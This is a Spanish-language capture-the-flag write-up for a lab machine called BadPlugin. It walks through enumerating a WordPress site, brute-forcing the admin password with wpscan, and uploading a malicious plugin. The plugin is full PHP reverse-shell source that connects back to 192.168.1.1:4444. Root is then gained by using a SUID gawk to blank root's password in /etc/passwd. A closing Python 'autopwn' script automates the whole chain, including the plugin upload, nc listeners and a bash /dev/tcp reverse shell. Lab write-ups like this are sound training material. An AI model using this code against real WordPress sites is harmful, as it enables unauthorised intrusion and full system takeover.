> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/badplugin-write-up.md).

# BadPlugin write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/ImoKxNEofqK02Ddi0FyR" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos con el siguiente comando

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 192.168.1.100
```

<figure><img src="/files/tUw1KsfQSzfWb4GKP8lL" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/UqjDR0JPfnj52LnGiQwi" alt=""><figcaption></figcaption></figure>

Como no entramos nada interesante usamos **Dirb** para enumerar rutas ocultas con el siguiente comando:

```bash
dirb http://192.168.1.100
```

<figure><img src="/files/DVLjAhbpoG8Nr2qbKc1F" alt=""><figcaption></figcaption></figure>

Esto indica que la página podría estar usando WordPress, así que ingresaremos la ruta `http://192.168.1.100/wordpress/wp-admin/` en el navegador.

<figure><img src="/files/de0QvVY31YoIFjBDP6hd" alt=""><figcaption></figcaption></figure>

Sin embargo, observamos que se está usando el dominio `escolares.dl`, así que cambiaremos nuestro archivo `/etc/hosts` para que el dominio `escolares.dl` apunte a la IP `192.168.1.100`.

<figure><img src="/files/Qlv79SPqGaxF0inbbc2v" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ylUgXJzMbtPyFbGB5PXO" alt=""><figcaption></figcaption></figure>

Ahora que sabemos la ruta del login usaremos **Wpscan** para enumerar usuarios con el siguiente comando:

```bash
 wpscan --url "http://escolares.dl/wordpress/wp-login.php?redirect_to=http%3A%2F%2Fescolares.dl%2Fwordpress%2Fwp-admin%2F&reauth=1" -e u
```

<figure><img src="/files/Ybn4s5HDpcDABIeDaFbx" alt=""><figcaption></figcaption></figure>

Esto indica que hay un usuario llamado admin, así que ahora realizaremos un ataque de fuerza bruta usando **Wpscan** de nuevo con el siguiente comando:

```bash
wpscan --url "http://escolares.dl/wordpress/wp-login.php?redirect_to=http%3A%2F%2Fescolares.dl%2Fwordpress%2Fwp-admin%2F&reauth=1" -U admin -P ../rockyou.txt
```

<figure><img src="/files/v1lzDzLHWm6IlNTLFMNV" alt=""><figcaption></figcaption></figure>

Esto revela que la contraseña del usuario `admin` es `rockyou`. Así que ahora iniciaremos sesión usando esas credenciales.

<figure><img src="/files/kviDNf2UqtuxZx13iW3V" alt=""><figcaption></figcaption></figure>

Una vez dentro, instalaremos un plugin malicioso creado por nosotros mismos. Para ello usaremos el siguiente archivo PHP:

```php
<?php

/**
 * Plugin Name: Shell
 * Description: Plugin de pentesting para probar seguridad en WordPress.
 * Version: 1.0
 * Author: PentestMonkey
 */


set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.1';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Una vez tengamos el archivo, lo convertimos a formato ZIP con el siguiente comando:

```bash
zip -r shell.zip shell.php
```

Ahora iremos a la opción de `Plugins` y haremos clic en `añadir un nuevo plugin`.

<figure><img src="/files/e2xyB0WSvQz31SBHbgMx" alt=""><figcaption></figcaption></figure>

Después haremos clic en `Subir plugin` y seleccionamos el archivo ZIP que creamos.

<figure><img src="/files/oVWZN0xYkLWOreY43Hur" alt=""><figcaption></figcaption></figure>

Una vez instalado hacemos clic en `Activar plugin`. A continuación, nos ponemos en escucha por el puerto 4444 e ingresamos la ruta `http://escolares.dl/wordpress/wp-content/plugins/shell/shell.php`

<figure><img src="/files/2BdsJOkW2O1L0yu0A73h" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escala de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `find / -perm -4000 -ls 2>/dev/null` el cual indica que podemos ejecutar el binario `/usr/bin/gawk` como usuario `root`.

<figure><img src="/files/JVuc5DYvlscpneOq2zvU" alt=""><figcaption></figcaption></figure>

Por lo que podemos ejecutar el siguiente comando:

```bash
/usr/bin/gawk -F 'x' '{print $1 $NF > "/etc/passwd"}' /etc/passwd
```

Esto eliminara la `x` del usuario `root`, lo que eliminará la contraseña. Por lo tanto si ejecutamos `su` obtendremos una shell con privilegios elevados.

<figure><img src="/files/0ki6MuCEdjpLAev2viUG" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import requests
from bs4 import BeautifulSoup
import urllib.parse
import subprocess
import time
import os

def verificar_hosts(dominio="escolares.dl", ruta="/etc/hosts"):

    try:
    
        with open(ruta, "r") as archivo:
    
            for linea in archivo:
    
                if linea.strip().startswith("#") or not linea.strip():

                    continue
                
                if dominio in linea:
                    print(f"[+] El dominio {dominio} está presente en {ruta}")
                    return
        
        print(f"[-] El dominio '{dominio}' NO está presente en {ruta}")
        exit() 
    
    except Exception as e:
        print(f"[!] Error al leer {ruta}: {e}")
        exit()

# Ejecutar
verificar_hosts()


def subir_plugin():
    URL = "http://escolares.dl/wordpress"
    LOGIN_URL = f"{URL}/wp-login.php"
    USERNAME = "admin"
    PASSWORD = "rockyou"
    plugin_path = "shell.zip"

    payload = {
        'log': USERNAME,
        'pwd': PASSWORD,
        'wp-submit': 'Acceder',
        'redirect_to': f'{URL}/wp-admin/',
        'testcookie': '1'
    }


    session = requests.Session()

    session.get(LOGIN_URL)

    # Crear una sesión para guardar cookies
    response = session.post(LOGIN_URL, data=payload, allow_redirects=True)

    # Ver si login fue exitoso
    if "wp-admin" in response.url or "dashboard" in response.text:
        print("[+] Login exitoso")
    else:
        print("[-] Login fallido")
        if "incorrecto" in response.text or "error" in response.text:
            print("[!] Usuario o contraseña incorrectos")

    # 3. Obtener la página de instalación de plugins para extraer el nonce
    plugin_page = session.get(f"{URL}/wp-admin/plugin-install.php")
    soup = BeautifulSoup(plugin_page.text, 'html.parser')
    # Buscar el _wpnonce de la página de subida
    upload_page = session.get(f"{URL}/wp-admin/plugin-install.php?tab=upload")
    soup = BeautifulSoup(upload_page.text, 'html.parser')
    nonce_input = soup.find('input', {'id': '_wpnonce'})
    if not nonce_input:
        print("[!] No se pudo obtener nonce")
        exit()

    wpnonce = nonce_input['value']
    print(f"[+] wpnonce: {wpnonce}")

    # 4. Subir el plugin
    upload_url = f"{URL}/wp-admin/update.php?action=upload-plugin"
    files = {'pluginzip': open(plugin_path, 'rb')}
    data = {
        "_wpnonce": wpnonce,
        "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
        "install-plugin-submit": "Instalar ahora"
    }

    r = session.post(upload_url, files=files, data=data, allow_redirects=True)
    if "Plugin installed successfully" in r.text or "Plugin instalado correctamente." in r.text:

        soup = BeautifulSoup(r.text, 'html.parser')
        link = soup.find('a', href=lambda x: x and 'action=activate' in x and 'shell%2Fshell.php')
        if link:
            href = link['href']
            parsed = urllib.parse.urlparse(href)
            params = urllib.parse.parse_qs(parsed.query)
            wpnonce = params.get('_wpnonce', [None])[0]


        if wpnonce:
                plugin_slug = "shell/shell.php"
                print(f"[+] Slug del plugin: {plugin_slug}")
                print(f"[+] wpnonce: {wpnonce}")

                activate_url = f"{URL}/wp-admin/plugins.php?action=activate&plugin={plugin_slug}&_wpnonce={wpnonce}"
                activate_resp = session.get(activate_url)
        

    else:
        print("[!] Falló la subida")

def iniciar_escucha1():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.5)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(0.5)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])


def shell_php():

    print("[+] Creando shell.php...")
    
    contenido = """<?php
/*
Plugin Name: Shell
Description: Plugin de pentesting para probar seguridad en WordPress.
Version: 1.0
Author: PentestMonkey
*/

function reverse_shell() {
    $ip = '192.168.1.1';  // CAMBIA ESTO
    $port = 4444;         // CAMBIA ESTO
    $chunk_size = 1400;
    $shell = '/bin/bash -i';
    

    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) return;

    $descriptorspec = [
        0 => ["pipe", "r"],
        1 => ["pipe", "w"],
        2 => ["pipe", "w"]
    ];

    $process = proc_open($shell, $descriptorspec, $pipes);
    if (!is_resource($process)) return;

    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);


    while (1) {
        if (feof($sock) || feof($pipes[1])) break;

        $read_a = [$sock, $pipes[1], $pipes[2]];
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        if (in_array($sock, $read_a)) {
            $input = fread($sock, $chunk_size);
            fwrite($pipes[0], $input);
        }

        if (in_array($pipes[1], $read_a)) {
            $input = fread($pipes[1], $chunk_size);
            fwrite($sock, $input);
        }

        if (in_array($pipes[2], $read_a)) {
            $input = fread($pipes[2], $chunk_size);
            fwrite($sock, $input);
        }
    }

    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
}

// Solo ejecuta si se accede manualmente
if (isset($_GET['reverse']) && $_GET['reverse'] === 'go') {
    reverse_shell();
}
?>
"""

    with open("shell.php", "w") as f:
        f.write(contenido)
    print("[+] Archivo shell.php creado correctamente.")
    os.system("chmod 0700 shell.php")

def crear_script_expect():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "while true; do curl http://escolares.dl/wordpress/wp-content/plugins/shell/shell.php?reverse=go ; sleep 1\r"
sleep 1
send "done\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script1.exp creado correctamente.")
    os.system("chmod 0700 script1.exp")

def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 5
sleep 5
spawn bash
sleep 5
expect "$ "
send "nc -nlvvp 4444\r"
expect "$ "
send "script /dev/null -c bash\r"
expect "$ "
send {/usr/bin/gawk -F 'x' '{print $1 $NF > "/etc/passwd"}' /etc/passwd}
send "\r"
expect "$ "
send "su\r"
expect "$ "
send {bash -c "bash -i >& /dev/tcp/192.168.1.1/4445 0>&1"}
send "\r"
interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script2.exp creado correctamente.")
    os.system("chmod 0700 script2.exp")

def main():

    verificar_hosts()

    time.sleep(1)

    shell_php()

    time.sleep(0.1)

    os.system("zip -r shell.zip shell.php")

    time.sleep(0.1)

    crear_script_expect()

    time.sleep(0.1)

    crear_script_expect2()

    time.sleep(0.1)

    subir_plugin()

    time.sleep(1)

    iniciar_escucha2()
    
    time.sleep(10)

    iniciar_escucha1()

    time.sleep(1)

    os.system("nc -nlvvp 4445")

    os.system("rm shell.php script1.exp script2.exp shell.zip")
    

if __name__=="__main__":
    
    main() 
```
